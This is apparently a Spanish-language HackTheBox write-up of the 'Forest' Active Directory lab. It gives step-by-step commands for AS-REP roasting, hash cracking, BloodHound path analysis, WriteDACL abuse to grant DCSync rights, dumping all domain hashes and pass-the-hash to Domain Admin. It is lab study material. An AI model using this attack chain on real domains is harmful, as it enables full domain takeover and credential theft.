Info de la Box

PlataformaHackTheBox
DificultadEasy
OSWindows Server 2016
Técnicas ClaveAS-REP Roasting, BloodHound, WriteDACL Abuse, DCSync

Resumen del Ataque

SMB null session → enumeramos 31 usuarios → AS-REP Roasting a svc-alfresco (sin creds) → crackeamos hash → BloodHound mostró ruta a través de Account Operators → Exchange Windows Permissions → WriteDACL sobre el dominio → nos dimos derechos de DCSync → dumpeamos todos los hashes → Pass-the-Hash → Domain Admin.

Segunda box de AD. Primera vez usando AS-REP Roasting, rutas de ataque en BloodHound, ACL abuse, y DCSync.


Enumeración

echo "10.129.95.210 forest.htb.local htb.local forest" | sudo tee -a /etc/hosts
# Lección: Agregar FQDN, dominio, y hostname — diferentes herramientas usan diferentes nombres

SMB — Enumeración de Usuarios

nxc smb $ip -u '' -p '' --users
# Encontramos 31 usuarios. Usuarios clave: sebastien, lucinda, svc-alfresco, andy, mark, santi
# Guardamos usuarios reales en valid_users.txt

Foothold — AS-REP Roasting (Sin Creds)

impacket-GetNPUsers htb.local/ -dc-ip $ip -usersfile valid_users.txt -format hashcat -outputfile asrep.txt
# svc-alfresco tiene "Do not require Kerberos pre-authentication" = TRUE
# Obtuvimos hash AS-REP gratis — sin necesidad de credenciales

Cracking

# TIP: Usar comillas simples al guardar hashes — las comillas dobles corrompen los caracteres $!
hashcat -m 18200 -a 0 alfresco.hash /usr/share/wordlists/rockyou.txt
# Crackeado: s3rvice

Primeras creds: svc-alfresco:s3rvice


BloodHound — Encontrando la Ruta de Ataque

bloodhound-python -u 'svc-alfresco' -p 's3rvice' -ns $ip -d htb.local -c All

El pathfinding de BloodHound desde SVC-ALFRESCO → DOMAIN ADMINS mostró:

svc-alfresco → Service Accounts → Privileged IT Accounts → Account Operators
→ GenericAll sobre Exchange Windows Permissions
→ WriteDACL sobre dominio HTB.LOCAL
→ Puede otorgar derechos DCSync → Dumpear todos los hashes

Sin BloodHound NUNCA encontrarías esta ruta manualmente. Son 5 grupos anidados de profundidad. Por eso BloodHound importa.


Escalación de Privilegios — Cadena de ACL Abuse

Paso 1: Agregarse al grupo Exchange Windows Permissions

net rpc group addmem "Exchange Windows Permissions" "svc-alfresco" -U 'htb.local/svc-alfresco%s3rvice' -S $ip

Paso 2: Obtener shell vía evil-winrm

evil-winrm -i $ip -u 'svc-alfresco' -p 's3rvice'
# Funcionalidades de evil-winrm: upload, download, entorno PowerShell completo

Paso 3: Subir PowerView y otorgar derechos DCSync

upload /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
. .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Rights DCSync

Paso 4: DCSync — dumpear todos los hashes del dominio

impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@$ip
# Obtuvimos hash NTLM de Administrator

Paso 5: Pass-the-Hash

evil-winrm -i $ip -u 'Administrator' -H '<NTLM_HASH>'

Listo.


Credenciales

UsernamePassword/HashOrigenAlcance
svc-alfrescos3rviceAS-REP RoastingDomain user
AdministratorNTLM hashDCSyncDomain Admin

Lo que Aprendí

AS-REP Roasting — svc-alfresco tenía pre-auth deshabilitado. Obtuvimos el hash gratis sin credenciales. Esto debería revisarse antes de hacer brute-force.

BloodHound es innegociable en AD. La ruta a través de 5 grupos anidados hasta WriteDACL es invisible sin él.

Cadena de ACL Abuse: GenericAll sobre un grupo = agregarte. WriteDACL sobre el dominio = darte cualquier permiso. DCSync = dumpear cada hash en el dominio.

evil-winrm es el rey para post-explotación en AD. Subir/descargar archivos, correr scripts de PowerShell directamente. Siempre usarlo cuando el puerto 5985 está abierto.

Corrupción de archivos de hash — al guardar hashes con echo, usar comillas SIMPLES: echo '$hash' > file.txt. Las comillas dobles hacen que bash interprete los caracteres $ y corrompe el hash. Perdí tiempo con esto.

Patrón: “AS-REP Roast primero (sin creds), BloodHound segundo (encontrar la ruta), ACL abuse tercero (caminar la ruta).”